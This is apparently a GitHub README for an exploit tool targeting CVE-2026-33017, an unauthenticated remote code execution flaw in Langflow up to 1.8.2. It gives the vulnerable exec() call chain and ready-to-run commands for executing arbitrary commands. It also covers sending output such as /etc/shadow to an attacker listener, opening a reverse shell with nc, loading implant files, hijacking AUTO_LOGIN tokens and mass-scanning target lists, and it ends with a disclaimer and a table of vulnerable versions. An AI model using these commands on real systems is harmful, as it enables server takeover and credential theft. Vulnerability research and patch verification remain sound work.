
Exploit for CVE-2026-33017 — Unauthenticated RCE in Langflow <= 1.8.2 via exec() in flow build endpoint
_____
/ \
| () () |
\ ^ /
|||||
exec() with no auth, no sandbox, no hope.
Langflow <= 1.8.2 allows unauthenticated remote code execution via the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint. Attacker-supplied flow data containing arbitrary Python in node definitions is passed directly to exec() with zero sandboxing.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> arbitrary code runs as the server process. game over.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Terminal 1: start listener
python3 -m http.server 8080
# Terminal 2: fire exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Decode the base64 from your listener logs:
echo "dWlkPTEwMDAo..." | base64 -d
# Terminal 1: start listener
nc -l 8080
# Terminal 2: fire exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# Raw output lands directly in the POST body - no decoding needed
# Terminal 1: start listener
nc -l 4444
# Terminal 2: fire exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Payload file rules:
exec() inside prepare_global_scope()_x = os.popen(...).read()) because the AST filter only executes Assign, FunctionDef, ClassDef nodesthreading.Thread(daemon=True) to avoid killing the async event loopWhen no PUBLIC flows exist but AUTO_LOGIN is enabled (default in many deployments):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
This hijacks the AUTO_LOGIN token, PATCHes the first flow to PUBLIC, then exploits it.
Scan multiple targets from a file (vulnerability check only):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
targets.txt format:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# comments are ignored
Output shows:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version to fingerprint the targetCustomComponent node containing malicious Python in the code field/api/v1/build_public_tmp/{flow_id}/flow with the crafted data parameter. Langflow compiles the graph, which calls create_class() -> prepare_global_scope() -> exec() on the attacker's codeThe fix in v1.9.0 removes the data parameter entirely, forcing the endpoint to only use stored flow data from the database.
| Version |
|---|
This tool is for authorized security research only. Only use against systems you have explicit permission to test. The author is not responsible for misuse.
| Status |
|---|
| <= 1.8.1 | Vulnerable |
| 1.8.2 | Claimed fix in changelog but code was never changed (JFrog confirmed) |
| 1.9.0-dev0 to dev11 | Still vulnerable |
| 1.9.0 | Actually fixed - data parameter removed from endpoint |